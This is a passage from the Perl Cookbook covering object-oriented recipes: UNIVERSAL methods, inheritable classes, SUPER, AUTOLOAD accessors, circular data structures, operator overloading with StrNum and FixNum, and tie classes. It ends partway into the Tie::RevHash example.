Wouldn't it be convenient if all objects were rooted at some ultimate base class? That way you could give every object common methods without having to add to each @ISA. Well, you can. You don't see it, but Perl pretends there's an extra element at the end of @ISA - the package named UNIVERSAL.

In version 5.003, no methods were predefined in UNIVERSAL, but you could put whatever you felt like into it. However, as of version 5.004, UNIVERSAL has a few methods in it already. These are built right into your Perl binary, so they don't take extra time to load. Predefined methods include isa, can, and VERSION. The isa method tells you whether an object or class "is" another one, without having to traverse the hierarchy yourself:

$has_io = $fd->isa("IO::Handle");
$itza_handle = IO::Socket->isa("IO::Handle");

Arguably, it's usually best to try the method call. Explicit type checks like this are sometimes frowned upon as being too constraining.

The can method, called on behalf of that object or class, reports back whether its string argument is a callable method name in that class. In fact, it gives you back a function reference to that method:

$his_print_method = $obj->can('as_string');

Finally, the VERSION method checks whether the class (or the object's class) has a package global called $VERSION that's high enough, as in:

Some_Module->VERSION(3.0);
$his_vers = $obj->VERSION();

However, we don't usually call VERSION ourselves. Remember, in Perl an all-uppercase function name means that the function will be automatically called by Perl in some way. In this case, it happens when you say:

use Some_Module 3.0;

If you wanted to add version checking to your Person class explained above, add this to Person.pm:

use vars qw($VERSION);
$VERSION = '1.01';

Then, in the user code say use Person 1.01; to make sure that you have at least that version number or higher available. This is not the same as loading in that exact version number; it just has to be at least that high. Lamentably, no support currently exists for concurrent installation of multiple versions of a module.

See Also

The documentation for the standard UNIVERSAL module; the use keyword in perlfunc (1) and in Chapter 3 of Programming Perl

Previous: 13.7. Calling Methods Indirectly | Perl Cookbook | Next: 13.9. Writing an Inheritable Class
13.7. Calling Methods Indirectly | Book Index | 13.9. Writing an Inheritable Class


Recipe 13.9. Writing an Inheritable Class

Perl CookbookSearch this book

13.9. Writing an Inheritable Class

Problem

You're not sure whether you've designed your class robustly enough to be inherited.

Solution

Use the "empty subclass test" on your class.

Discussion

Imagine you've implemented a class called Person that supplies a constructor called new, and methods like age and name. Here's the straightforward implementation:

package Person;
sub new {
    my $class = shift;
    my $self  = { };
    return bless $self, $class;
}
sub name {
    my $self = shift;
    $self->{NAME} = shift if @_;
    return $self->{NAME};
}
sub age {
    my $self = shift;
    $self->{AGE} = shift if @_;
    return $self->{AGE};
}

You might use the class in this way:

use Person;
my $dude = Person->new();
$dude->name("Jason");
$dude->age(23);
printf "%s is age %d.\n", $dude->name, $dude->age;

Now, consider another class, the one called Employee:

package Employee;
use Person;
@ISA = ("Person");
1;

There's not a lot to that one. All it's doing is loading in class Person and stating that Employee will inherit any needed methods from Person. Since Employee has no methods of its own, it will get all of its methods from Person. We rely upon an Employee to behave just like a Person.

Setting up an empty class like this is called the empty base class test ; that is, it creates a derived class that does nothing but inherit from a base class. If the original base class has been designed properly, then the new derived class can be used as a drop-in replacement for the old one. This means you should be able to change just the class name and everything will still work:

use Employee;
my $empl = Employee->new();
$empl->name("Jason");
$empl->age(23);
printf "%s is age %d.\n", $empl->name, $empl->age;

By proper design, we mean using only the two-argument form of bless, avoiding any direct access of class data, and exporting nothing. In the Person::new() function defined above, we were careful to do these things. We use some package data in the constructor, but the reference to this is stored on the object itself. Other methods access package data via that reference, so we should be okay.

Why did we say the Person::new function - is that not actually a method? A method is just a function that expects as its first argument a class name (package) or object (blessed reference). Person::new is the function that the Person->new method and the Employee->new method both end up calling. Although a method call looks a lot like a function call, they aren't the same. If you treat them as the same, very soon you'll be left with nothing but broken programs. First, the actual underlying calling conventions are different: method calls get an extra argument. Second, function calls don't do inheritance, but methods do.

Method Call | Resulting Function Call
Person->new() | Person::new("Person")
Employee->new() | Person::new("Employee")

If you got in the habit of calling:

$him = Person::new();               # WRONG

you'd have a subtle problem, because the function wouldn't get an argument of "Person" as it is expecting, and so it couldn't bless into the passed-in class. Still worse, you'd probably want to try to call Employee::new() also. But there is no such function! It's just an inherited method call.

So, don't use function calls when you mean to call a method.

See Also

perltoot (1), perlobj (1), and perlbot (1); Chapter 5 of Programming Perl; Recipe 13.1; Recipe 13.10

Previous: 13.8. Determining Subclass Membership | Perl Cookbook | Next: 13.10. Accessing Overridden Methods
13.8. Determining Subclass Membership | Book Index | 13.10. Accessing Overridden Methods


Recipe 13.10. Accessing Overridden Methods

Perl CookbookSearch this book

13.10. Accessing Overridden Methods

Problem

Your constructor method overrides the constructor of a parent class. You want your constructor to call the parent class's constructor.

Solution

Learn about the special class, SUPER.

sub meth {
    my $self = shift;
    $self->SUPER::meth();
}

Discussion

In languages like C++ where constructors don't actually allocate memory but just initialize the object, all base class constructors are automatically called for you. In languages like Java and Perl, you have to call them yourself.

To call a method in a particular class, the notation $self->SUPER::meth() is used. This is an extension of the regular notation to start looking in a particular base class. It is only valid from within an overridden method. Here's a comparison of styles:

$self->meth();                # Call wherever first meth is found
$self->Where::meth();         # Start looking in package "Where"
$self->SUPER::meth();         # Call overridden version

Simple users of the class should probably limit themselves to the first one. The second is possible, but not suggested. The last must only be called from within the overridden method.

An overriding constructor should call its SUPER's constructor to allocate and bless the object, limiting itself to instantiating any data fields needed. It makes sense here to separate the object allocation code from the object initialization code. We'll name it with a leading underscore, a convention indicating a nominally private method. Think of it as a "Do Not Disturb" sign.

sub new {
    my $classname  = shift;         # What class are we constructing?
    my $self       = $classname->SUPER::new(@_);
    $self->_init(@_);
    return $self;                   # And give it back
}

sub _init {
    my $self = shift;
    $self->{START}   = time();   # init data fields
    $self->{AGE}     = 0;
    $self->{EXTRA}   = { @_ };   # anything extra
}

Both SUPER::new and _init have been called with any remaining arguments. That way the user might pass other field initializers in, as in:

$obj = Widget->new( haircolor => red, freckles => 121 );

Whether you store these user parameters in their own extra hash or not is up to you.

Note that SUPER only works on the first overridden method. If your @ISA array has several classes, it only gets the first one. A manual traversal of @ISA is possible, but probably not worth the hassle.

my $self = bless {}, $class;
for my $class (@ISA) {
    my $meth = $class . "::_init";
    $self->$meth(@_) if $class->can("_init");
}

This fragile code assumes that all superclasses initialize their objects with _init instead of initializing in the constructor. It also assumes that a hash reference is used for the underlying object.

See Also

The discussion on the SUPER class in perltoot (1) and perlobj (1), and in the section on "Method Invocation" in Chapter 5 of Programming Perl

Previous: 13.9. Writing an Inheritable Class | Perl Cookbook | Next: 13.11. Generating Attribute Methods Using AUTOLOAD
13.9. Writing an Inheritable Class | Book Index | 13.11. Generating Attribute Methods Using AUTOLOAD


Recipe 13.11. Generating Attribute Methods Using AUTOLOAD

Perl CookbookSearch this book

13.11. Generating Attribute Methods Using AUTOLOAD

Problem

Your object needs accessor methods to set or get its data fields, and you're tired of writing them all out one at a time.

Solution

Carefully use Perl's AUTOLOAD mechanism as a proxy method generator so you don't have to create them all yourself each time you want to add a new data field.

Discussion

Perl's AUTOLOAD mechanism intercepts all possible undefined method calls. So as not to permit arbitrary data names, we'll store the list of permitted fields in a hash. The AUTOLOAD method will check to verify that the accessed field is in that hash.

package Person;
use strict;
use Carp;
use vars qw($AUTOLOAD %ok_field);

# Authorize four attribute fields
for my $attr ( qw(name age peers parent) ) { $ok_field{$attr}++; }

sub AUTOLOAD {
    my $self = shift;
    my $attr = $AUTOLOAD;
    $attr =~ s/.*:://;
    return unless $attr =~ /[^A-Z]/;  # skip DESTROY and all-cap methods
    croak "invalid attribute method: ->$attr()" unless $ok_field{$attr};
    $self->{uc $attr} = shift if @_;
    return $self->{uc $attr};
}
sub new {
    my $proto  = shift;
    my $class  = ref($proto) || $proto;
    my $parent = ref($proto) && $proto;
    my $self = {};
    bless($self, $class);
    $self->parent($parent);
    return $self;
}
1;

This class supports a constructor named new, and four attribute methods: name, age, peers, and parent. Use the module this way:

use Person;
my ($dad, $kid);
$dad = Person->new;
$dad->name("Jason");
$dad->age(23);
$kid = $dad->new;
$kid->name("Rachel");
$kid->age(2);
printf "Kid's parent is %s\n", $kid->parent->name;
Kid's parent is Jason

This is tricky when producing inheritance trees. Suppose you'd like an Employee class that had every data attribute of the Person class, plus two new ones, like salary and boss. Class Employee can't rely upon an inherited Person::AUTOLOAD to determine what Employee's attribute methods are. So each class would need its own AUTOLOAD function. This would check just that class's known attribute fields, but instead of croaking when incorrectly triggered, it would call its overridden superclass version.

Here's a version that takes this into consideration:

sub AUTOLOAD {
    my $self = shift;
    my $attr = $AUTOLOAD;
    $attr =~ s/.*:://;
    return if $attr eq 'DESTROY';

    if ($ok_field{$attr}) {
        $self->{uc $attr} = shift if @_;
        return $self->{uc $attr};
    } else {
        my $superior = "SUPER::$attr";
        $self->$superior(@_);
    }
}

If the attribute isn't in our OK list, we'll pass it up to our superior, hoping that it can cope with it. But you can't inherit this AUTOLOAD; each class has to have its own, because it is unwisely accessing class data directly, not through the object. Even worse, if a class A inherits from two classes B and C, both of which define their own AUTOLOAD, an undefined method call on A will hit the AUTOLOAD in only one of the two parent classes.

We could try to cope with these limitations, but AUTOLOAD eventually begins to feel like a kludge piled on a hack piled on a workaround. There are better approaches for the more complex situations.

See Also

The examples using AUTOLOAD in perltoot (1); Chapter 5 of Programming Perl; Recipe 10.15; Recipe 13.12

Previous: 13.10. Accessing Overridden Methods | Perl Cookbook | Next: 13.12. Solving the Data Inheritance Problem
13.10. Accessing Overridden Methods | Book Index | 13.12. Solving the Data Inheritance Problem


Recipe 13.12. Solving the Data Inheritance Problem

Perl CookbookSearch this book

13.12. Solving the Data Inheritance Problem

Problem

You want to inherit from an existing class, augmenting it with a few extra methods, but you don't know which data fields your parent class is using. How can you safely carve out your own namespace in the object hash without trampling on any ancestors?

Solution

Prepend each of your fieldnames with your own class name and a distinctive separator, such as an underscore or two.

Discussion

An irksome problem lurks within the normal Perl OO strategy. The exact class representation must be known, violating the veil of abstraction. The subclass has to get unnaturally chummy with all its parent classes, recursively.

We'll pretend we're a big happy object-oriented family and that everyone always uses hashes for objects, thus dodging the problem of a class choosing an array representation but inheriting from one that instead uses a hash model. (The solution to that problem is aggregation and delegation, as shown in perlbot (1).) Even with this assumption, an inherited class can't safely use a key in the hash. Even if we agree to use only method calls to access attributes we don't ourselves set, how do we know that we aren't setting a key that a parent class is using? Imagine wanting to use a count field, but unbeknownst to you, your great-great-grandparent class is using the same thing. Using _count to indicate nominal privacy won't help, since gramps might try the same trick.

One reasonable approach is to prefix your own data members with your package name. Thus if you were class Employee and wanted an age field, for safety's sake you could use Employee_age instead. Here's a sample access method:

sub Employee::age {
    my $self = shift;
    $self->{Employee_age} = shift if @_;
    return $self->{Employee_age};
}

In the spirit of the Class::Struct module described in Recipe 13.5, here's a more turnkey solution to the problem. Imagine one file with:

package Person;
use Class::Attributes;  # see explanation below
mkattr qw(name age peers parent);

and another like this:

package Employee;
@ISA = qw(Person);
use Class::Attributes;
mkattr qw(salary age boss);

Notice that they both have an age attribute? If those are to be logically separate, we can't use $self->{age}, even for ourselves inside the module! Here's an implementation of the Class::Attributes::mkattr function that solves this:

package Class::Attributes;
use strict;
use Carp;
use Exporter ();
use vars qw(@ISA @EXPORT);
@ISA = qw(Exporter);
@EXPORT = qw(mkattr);
sub mkattr {
    my $hispack = caller();
    for my $attr (@_) {
        my($field, $method);
        $method = "${hispack}::$attr";
        ($field = $method) =~ s/:/_/g;
        no strict 'refs'; # here comes the kluglich bit
        *$method = sub {
            my $self = shift;
            confess "too many arguments" if @_ > 1;
            $self->{$field} = shift if @_;
            return $self->{$field};
        };
    }
}
1;

This way $self->{Person_age} and $self->{Employee_age} remain separate. The only funniness is that $obj->age would only get the first one. Now, you could write $obj->Person::age and $obj->Employee::age to distinguish these, but well-written Perl code shouldn't use double colons to specify an exact package except under extreme duress. If you really are forced to, perhaps that library could have been better designed.

If you didn't want to write it that way, then from inside class Person, just use age($self) and you'll always get Person's version, whereas from inside class Employee, age($self) would get Employee's version. That's because it's a function call, not a method call.

See Also

The documentation on the use fields and use base pragmas, standard as of Perl 5.005; Recipe 10.14

Previous: 13.11. Generating Attribute Methods Using AUTOLOAD | Perl Cookbook | Next: 13.13. Coping with Circular Data Structures
13.11. Generating Attribute Methods Using AUTOLOAD | Book Index | 13.13. Coping with Circular Data Structures


Recipe 13.13. Coping with Circular Data Structures

Perl CookbookSearch this book

13.13. Coping with Circular Data Structures

Problem

You have an inherently self-referential data structure so Perl's reference-based garbage collection system won't notice when it's no longer being used. You want to prevent your program from leaking memory.

Solution

Create a non-circular container object that holds a pointer to the self-referential data structure. Define a DESTROY method for the containing object's class that manually breaks the self-referential circularities.

Discussion

Many interesting data structures include references back to themselves. This can occur in code as simple as this:

$node->{NEXT} = $node;

As soon as you do that, you've created a circularity that will hide the data structure from Perl's referenced-based garbage collection system. Destructors will eventually be called when your program exits, but you sometimes don't want to wait that long.

A circular linked list is similarly self-referential. Each node contains a front pointer, a back pointer, and the node's value. If you implement it with references in Perl, you get a circular set of references and the data structure won't naturally be garbage collected when there are no external references to its nodes.

Making each node an instance of class Ring doesn't solve the problem. What you want is for Perl to clean up this structure as it would any other structure - which it will do if you implement your object as a structure that contains a reference to the real circle. That reference will be stored in the "DUMMY" field:

package Ring;

# return an empty ring structure
sub new {
    my $class = shift;
    my $node  = { };
    $node->{NEXT} = $node->{PREV} = $node;
    my $self  = { DUMMY => $node, COUNT => 0 };
    bless $self, $class;
    return $self;
}

It's the nodes contained in the ring that are circular, not the returned ring object itself. That means code like the following won't cause a memory leak:

use Ring;

$COUNT = 1000;
for (1 .. 20) {
    my $r = Ring->new();
    for ($i = 0; $i < $COUNT; $i++) { $r->insert($i) }
}

Even though we create twenty rings of a thousand nodes each, each ring is thrown away before a new one is created. The user of the class need do no more to free the ring's memory than they would to free a string's memory. That is, this all happens automatically, just as it's supposed to.

However, the implementer of the class does have to have a destructor for the ring, one that will manually delete the nodes:

# when a Ring is destroyed, destroy the ring structure it contains
sub DESTROY {
    my $ring = shift;
    my $node;
    for ( $node  =  $ring->{DUMMY}->{NEXT};
          $node !=  $ring->{DUMMY};
          $node  =  $node->{NEXT} )
    {
             $ring->delete_node($node);
    }
    $node->{PREV} = $node->{NEXT} = undef;
}

# delete a node from the ring structure
sub delete_node {
    my ($ring, $node) = @_;
    $node->{PREV}->{NEXT} = $node->{NEXT};
    $node->{NEXT}->{PREV} = $node->{PREV};
    --$ring->{COUNT};
}

Here are a few other methods you might like in your ring class. Notice how the real work lies within the circularity hidden inside the object:

# $node = $ring->search( $value ) : find $value in the ring
# structure in $node
sub search {
    my ($ring, $value) = @_;
    my $node = $ring->{DUMMY}->{NEXT};
    while ($node != $ring->{DUMMY} && $node->{VALUE} != $value) {
          $node = $node->{NEXT};
    }
    return $node;
}

# $ring->insert( $value ) : insert $value into the ring structure
sub insert_value {
    my ($ring, $value) = @_;
    my $node = { VALUE => $value };
    $node->{NEXT} = $ring->{DUMMY}->{NEXT};
    $ring->{DUMMY}->{NEXT}->{PREV} = $node;
    $ring->{DUMMY}->{NEXT} = $node;
    $node->{PREV} = $ring->{DUMMY};
    ++$ring->{COUNT};
}

# $ring->delete_value( $value ) : delete a node from the ring
# structure by value
sub delete_value {
    my ($ring, $value) = @_;
    my $node = $ring->search($value);
    return if $node == $ring->{DUMMY};
    $ring->delete_node($node);
}

1;

Here's one for your fortune file: Perl's garbage collector abhors a naked circularity.

See Also

The algorithms in this recipe derive in part from pages 206-207 of the wonderful textbook, Introduction to Algorithms, by Cormen, Leiserson, and Rivest (MIT Press/McGraw-Hill, 1990); see also the section "A Note on Garbage Collection" in Chapter 5 of Programming Perl and in perlobj (1)

Previous: 13.12. Solving the Data Inheritance Problem | Perl Cookbook | Next: 13.14. Overloading Operators
13.12. Solving the Data Inheritance Problem | Book Index | 13.14. Overloading Operators


Recipe 13.14. Overloading Operators

Perl CookbookSearch this book

13.14. Overloading Operators

Problem

You want to use familiar operators like == or + on objects from a class you've written, or you want to define the print interpolation value for objects.

Solution

Use the use overload pragma. Here are two of the most common and useful operators to overload:

use overload ('<=>' => \&threeway_compare);
sub threeway_compare {
    my ($s1, $s2) = @_;
    uc($s1->{NAME}) cmp uc($s2->{NAME});
}

use overload ( '""'  => \&stringify );
sub stringify {
    my $self = shift;
    return sprintf "%s (%05d)",
            ucfirst(lc($self->{NAME})),
            $self->{IDNUM};
}

Discussion

When you use built-in types, certain operators apply, like + for addition or . for string catenation. With the use overload pragma, you can customize these operators so they do something special on your own objects.

This pragma takes a list of operator/function call pairs, such as:

package TimeNumber;
use overload '+' => \&my_plus,
             '-' => \&my_minus,
             '*' => \&my_star,
             '/' => \&my_slash;

Now, those four operators can be used with objects of class TimeNumber, and the listed functions will be called. These functions can do anything you'd like.

Here's a simple example of an overload of + for use with an object that holds hours, minutes, and seconds. It assumes that both operands are of a class that has a new method that can be called as an object method, and that the structure names are as shown:

sub my_plus {
    my($left, $right) = @_;
    my $answer = $left->new();
    $answer->{SECONDS} = $left->{SECONDS} + $right->{SECONDS};
    $answer->{MINUTES} = $left->{MINUTES} + $right->{MINUTES};
    $answer->{HOURS}   = $left->{HOURS}   + $right->{HOURS};

    if ($answer->{SECONDS} >= 60) {
        $answer->{SECONDS} %= 60;
        $answer->{MINUTES} ++;
    }

    if ($answer->{MINUTES} >= 60) {
        $answer->{MINUTES} %= 60;
        $answer->{HOURS}   ++;
    }

    return $answer;

}

It's a good idea to overload numeric operators only when the objects themselves are mirroring some sort of numeric construct, such as complex or infinite precision numbers, vectors, or matrices. Otherwise the code is too hard to understand, leading users to invalid assumptions. Imagine a class that modelled a country. If you can add one country to another, couldn't you subtract one country from another? As you see, using operator overloading for non-mathematical things rapidly becomes ridiculous.

You may compare objects (and, in fact, any reference) using either == or eq, but this only tells you whether the addresses are the same. (Using == is about ten times faster than eq though.) Because an object is a higher-level notion that a raw machine address, you often want to define your own notion of what it takes for two of them to be equal to each other.

Two operators frequently overloaded even for a non-numeric class are the comparison and string interpolation operators. Both the <=> and the cmp operators can be overloaded, although the former is more prevalent. Once the spaceship operator <=>, is defined for an object, you can also use ==, !=, <, <=, >, and >= as well. This lets objects be compared. If ordering is not desired, only overload ==. Similarly, an overloaded cmp is used for lt, gt, and other string comparisons if they aren't explicitly overloaded.

The string interpolation operator goes by the unlikely name of "", that is, two double quotes. This operator is triggered whenever a conversion to a string is called for, such as within double or back quotes or when passed to the print function.

Read the documentation on the overload pragma that comes with Perl. Perl's operator overloading has some elaborate features, such as string and numeric conversion methods, autogenerating missing methods, and reversing operands if needed, as in 5 + $a where $a is an object.

Example: Overloaded StrNum Class

Here's a StrNum class that lets you use strings with numeric operators. Yes, we're about to do something we advised against - that is, use numeric operators on non-numeric entities - but programmers from other backgrounds are always expecting + and == to work on strings. This is a simple way to demonstrate operator overloading. We almost certainly wouldn't use this in a time-critical production program due to performance concerns. It's also an interesting illustration of using a constructor of the same name as the class, something that C++ and Python programmers may take comfort in.

#!/usr/bin/perl
# show_strnum - demo operator overloading
use StrNum;

$x = StrNum("Red"); $y = StrNum("Black");
$z = $x + $y; $r = $z * 3;
print "values are $x, $y, $z, and $r\n";
print "$x is ", $x < $y ? "LT" : "GE", " $y\n";

values are Red, Black, RedBlack, and 0
Red is GE Black

The class is shown in Example 13.1.

Example 13.1: StrNum

package StrNum;

use Exporter ();
@ISA = 'Exporter';
@EXPORT = qw(StrNum);  # unusual

use overload        (
        '<=>'   => \&spaceship,
        'cmp'   => \&spaceship,
        '""'    => \&stringify,
        'bool'  => \&boolify,
        '0+'    => \&numify,
        '+'     => \&concat,
        '*'     => \&repeat,
);

# constructor
sub StrNum {
    my ($value) = @_;
    return bless \$value;
}

sub stringify { ${ $_[0] } }
sub numify    { ${ $_[0] } }
sub boolify   { ${ $_[0] } }

# providing <=> gives us <, ==, etc. for free.
sub spaceship {
    my ($s1, $s2, $inverted) = @_;
    return $inverted ? $$s2 cmp $$s1 : $$s1 cmp $$s2;
}

# this uses stringify
sub concat {
    my ($s1, $s2, $inverted) = @_;
    return StrNum $inverted ? ($s2 . $s1) : ($s1 . $s2);

}

# this uses stringify
sub repeat {
    my ($s1, $s2, $inverted) = @_;
    return StrNum $inverted ? ($s2 x $s1) : ($s1 x $s2);
}

1;

Example: Overloaded FixNum Class

This class uses operator overloading to control the number of decimal places in output. It still uses full precision for its operations. A places() method can be used on the class or a particular object to set the number of places of output to the right of the decimal point.

#!/usr/bin/perl
# demo_fixnum - show operator overloading
use FixNum;

FixNum->places(5);

$x = FixNum->new(40);
$y = FixNum->new(12);

print "sum of $x and $y is ", $x + $y, "\n";
print "product of $x and $y is ", $x * $y, "\n";

$z = $x / $y;
printf "$z has %d places\n", $z->places;
$z->places(2) unless $z->places;
print "div of $x by $y is $z\n";
print "square of that is ", $z * $z, "\n";

sum of STRFixNum: 40 and STRFixNum: 12 is STRFixNum: 52
product of STRFixNum: 40 and STRFixNum: 12 is STRFixNum: 480
STRFixNum: 3 has 0 places
div of STRFixNum: 40 by STRFixNum: 12 is STRFixNum: 3.33
square of that is STRFixNum: 11.11

The class itself is shown in Example 13.2. It only overloads the addition, multiplication, and division operations for math operators. Other operators are the spaceship operator, which handles all comparisons, the string-interpolation operator, and the numeric conversion operator. The string interpolation operator is given a distinctive look for debugging purposes.

Example 13.2: FixNum

package FixNum;

use strict;

my $PLACES = 0;

sub new {
    my $proto   = shift;
    my $class   = ref($proto) || $proto;
    my $parent  = ref($proto) && $proto;

    my $v = shift;
    my $self = {
        VALUE  => $v,
        PLACES => undef,
    };
    if ($parent && defined $parent->{PLACES}) {
        $self->{PLACES} = $parent->{PLACES};
    } elsif ($v =~ /(\.\d*)/) {
        $self->{PLACES} = length($1) - 1;
    }  else {
        $self->{PLACES} = 0;
    }
    return bless $self, $class;
}

sub places {
    my $proto = shift;
    my $self  = ref($proto) && $proto;
    my $type  = ref($proto) || $proto;

    if (@_) {
        my $places = shift;
        ($self ? $self->{PLACES} : $PLACES) = $places;
    }
    return $self ? $self->{PLACES} : $PLACES;
}

sub _max { $_[0] > $_[1] ? $_[0] : $_[1] }

use overload '+'    => \&add,
             '*'    => \&multiply,
             '/'    => \&divide,
             '<=>'  => \&spaceship,
             '""'   => \&as_string,
             '0+'   => \&as_number;

sub add {
    my ($this, $that, $flipped) = @_;
    my $result = $this->new( $this->{VALUE} + $that->{VALUE} );
    $result->places( _max($this->{PLACES}, $that->{PLACES} ));
    return $result;
}

sub multiply {
    my ($this, $that, $flipped) = @_;
    my $result = $this->new( $this->{VALUE} * $that->{VALUE} );
    $result->places( _max($this->{PLACES}, $that->{PLACES} ));
    return $result;
}

sub divide {
    my ($this, $that, $flipped) = @_;
    my $result = $this->new( $this->{VALUE} / $that->{VALUE} );
    $result->places( _max($this->{PLACES}, $that->{PLACES} ));
    return $result;
}

sub as_string {
    my $self = shift;
    return sprintf("STR%s: %.*f", ref($self),
        defined($self->{PLACES}) ? $self->{PLACES} : $PLACES,
            $self->{VALUE});
}

sub as_number {
    my $self = shift;
    return $self->{VALUE};
}

sub spaceship {
    my ($this, $that, $flipped) = @_;
    $this->{VALUE} <=> $that->{VALUE};
}

1;

See Also

The documentation for the standard use overload pragma and the Math::BigInt and Math::Complex modules, also in Chapter 7 of Programming Perl

Previous: 13.13. Coping with Circular Data Structures | Perl Cookbook | Next: 13.15. Creating Magic Variables with tie
13.13. Coping with Circular Data Structures | Book Index | 13.15. Creating Magic Variables with tie


Recipe 13.15. Creating Magic Variables with tie

Perl CookbookSearch this book

13.15. Creating Magic Variables with tie

Problem

You want to add special processing to a variable or handle.

Solution

Use the tie function to give your ordinary variables object hooks.

Discussion

Anyone who's ever used a DBM file under Perl has already used tied objects. Perhaps the most excellent way of using objects is such that the user never notices them. With tie, you can bind a variable or handle to a class, after which all access to the tied variable or handle is transparently intercepted by specially named object methods.

The most important tie methods are FETCH to intercept read access, STORE to intercept write access, and the constructor, which is one of TIESCALAR, TIEARRAY, TIEHASH, or TIEHANDLE.

User Code

Executed Code

tie $s, "SomeClass"

SomeClass->TIESCALAR()
$p = $s

$p = $obj->FETCH()
$s = 10

$obj->STORE(10)

Where did that $obj come from? The tie triggers a call to the class's TIESCALAR constructor method. Perl squirrels away the object returned and surreptitiously uses it for later access.

Here's a simple example of a tie class that implements a value ring. Every time the variable is read from, the next value on the ring is displayed. When it's written to, a new value is pushed on the ring. Here's an example:

#!/usr/bin/perl
# demo_valuering - show tie class
use ValueRing;
tie $color, 'ValueRing', qw(red blue);
print "$color $color $color $color $color $color\n";
red blue red blue red blue

$color = 'green';
print "$color $color $color $color $color $color\n";
green red blue green red blue

The simple implementation is shown in Example 13.3.

Example 13.3: ValueRing

package ValueRing;

# this is the constructor for scalar ties
sub TIESCALAR {
    my ($class, @values) = @_;
    bless  \@values, $class;
    return \@values;
}

# this intercepts read accesses
sub FETCH {
    my $self = shift;
    push(@$self, shift(@$self));
    return $self->[-1];
}

# this intercepts write accesses
sub STORE {
    my ($self, $value) = @_;
    unshift @$self, $value;
    return $value;
}

1;

This example might not be compelling, but it illustrates how easy it is to write ties of arbitrary complexity. To the user, $color is just a plain old variable, not an object. All the magic is hidden beneath the tie. You don't have to use a scalar reference just because you're tying a scalar. Here we've used an array reference, but you can use anything you'd like. Usually a hash reference will be used irrespective of what's being tied to because it's the most flexible object representation.

For arrays and hashes, more elaborate operations are possible. Tied handles didn't appear until the 5.004 release, and prior to 5.005 use of tied arrays was somewhat limited, but tied hashes have always been richly supported. Because so many object methods are needed to fully support tied hashes, most users choose to inherit from the standard Tie::Hash module, which provides default methods for these.

Following are numerous examples of interesting uses of ties.

Tie Example: Outlaw $_

This curious tie class is used to outlaw unlocalized uses of the implicit variable, $_. Instead of pulling it in with use, which implicitly invokes the class's import ( ) method, this one should be loaded with no to call the seldom-used unimport ( ) method. The user says:

no UnderScore;

Then, all uses of the unlocalized global $_ will raise an exception.

Here's a little test suite for the module.

#!/usr/bin/perl
# nounder_demo - show how to ban $_ from your program
no UnderScore;
@tests = (
    "Assignment"  => sub { $_ = "Bad" },
    "Reading"     => sub { print },
    "Matching"    => sub { $x = /badness/ },
    "Chop"        => sub { chop },
    "Filetest"    => sub { -x },
    "Nesting"     => sub { for (1..3) { print } },
);

while ( ($name, $code) = splice(@tests, 0, 2) ) {
    print "Testing $name: ";
    eval { &$code };
    print $@ ? "detected" : "missed!";
    print "\n";
}

The result is the following:

Testing Assignment: detected
Testing Reading: detected
Testing Matching: detected
Testing Chop: detected
Testing Filetest: detected
Testing Nesting: 123missed!

The reason the last one was missed is that it was properly localized by the for loop, so it was considered safe.

The UnderScore module itself is shown in Example 13.4. Notice how small it is. The module itself does the tie in its initialization code.

Example 13.4: UnderScore (continued)

package UnderScore;
use Carp;
sub TIESCALAR {
    my $class = shift;
    my $dummy;
    return bless \$dummy => $class;
}
sub FETCH { croak "Read access to \$_ forbidden"  }
sub STORE { croak "Write access to \$_ forbidden" }
sub unimport { tie($_, __PACKAGE__) }
sub import { untie $_ }
tie($_, __PACKAGE__) unless tied $_;
1;

You can't usefully mix calls to use and no for this class in your program, because they all happen at compile time, not run time. To renege and let yourself use $_ again, localize it.

Tie Example: Make a Hash That Always Appends

The class shown below produces a hash whose keys accumulate in an array.

#!/usr/bin/perl
# appendhash_demo - show magic hash that autoappends
use Tie::AppendHash;
tie %tab, 'Tie::AppendHash';

$tab{beer} = "guinness";
$tab{food} = "potatoes";
$tab{food} = "peas";

while (my($k, $v) = each %tab) {
    print "$k => [@$v]\n";
}

Here is the result:

food => [potatoes peas]
beer => [guinness]

To make this class easy, we will use the boilerplate hash tying module from the standard distribution, shown in Example 13.5. To do this, we load the Tie::Hash module and then inherit from the Tie::StdHash class. (Yes, those are different names. The file Tie/Hash.pm provides both the Tie::Hash and Tie::StdHash classes, which are slightly different.)

Example 13.5: Tie::AppendHash

package Tie::AppendHash;
use strict;
use Tie::Hash;
use Carp;
use vars qw(@ISA);
@ISA = qw(Tie::StdHash);
sub STORE {
    my ($self, $key, $value) = @_;
    push @{$self->{$key}}, $value;
}
1;

Tie Example: Case-Insensitive Hash

Here's a fancier hash tie called Tie::Folded. It provides a hash with case-insensitive keys.

#!/usr/bin/perl
# folded_demo - demo hash that magically folds case
use Tie::Folded;
tie %tab, 'Tie::Folded';

$tab{VILLAIN}  = "big ";
$tab{herOine}  = "red riding hood";
$tab{villain} .= "bad wolf";

while ( my($k, $v) = each %tab ) {
    print "$k is $v\n";
}

The following is the output of this demo program:

heroine is red riding hood
villain is big bad wolf

Because we have to trap more accesses, the class in Example 13.6 is slightly more complicated than the one in Example 13.5.

Example 13.6: Tie::Folded

package Tie::Folded;
use strict;
use Tie::Hash;
use vars qw(@ISA);
@ISA = qw(Tie::StdHash);
sub STORE {
    my ($self, $key, $value) = @_;
    return $self->{lc $key} = $value;
    }
sub FETCH {
    my ($self, $key) = @_;
    return $self->{lc $key};
}
sub EXISTS {
    my ($self, $key) = @_;
    return exists $self->{lc $key};
}
sub DEFINED {
    my ($self, $key) = @_;
    return defined $self->{lc $key};
}
1;

Tie Example: Hash That Allows Look-Ups by Key or Value

Here is a hash that lets you look up members by key or by value. It does this by having a store method that not only uses the key to store the value, it also uses the value to store the key.

Normally there could be a problem if the value being stored were a reference, since you can't normally use a reference as a key. The standard distribution comes with the Tie::RefHash class that avoids this problem. We'll inherit from it so that we can also avoid this difficulty.

#!/usr/bin/perl -w
# revhash_demo - show hash that permits key *or* value lookups
use strict;
use Tie::RevHash;
my %tab;
tie %tab, 'Tie::RevHash';
%tab = qw{
    Red         Rojo
    Blue        Azul
    Green       Verde
};
$tab{EVIL} = [ "No way!", "Way!!" ];

while ( my($k, $v) = each %tab ) {
    print ref($k) ? "[@$k]" : $k, " => ",
        ref($v) ? "[@$v]" : $v, "\n";
}

When run, revhash_demo produces this:

[No way! Way!!] => EVIL
EVIL => [No way! Way!!]
Blue => Azul
Green => Verde
Rojo => Red
Red => Rojo
Azul => Blue
Verde => Green

The module is shown in Example 13.7. Notice how small it is!

Example 13.7: Tie::RevHash

package Tie::RevHash;
use Tie::RefHash;
use vars qw(@ISA);
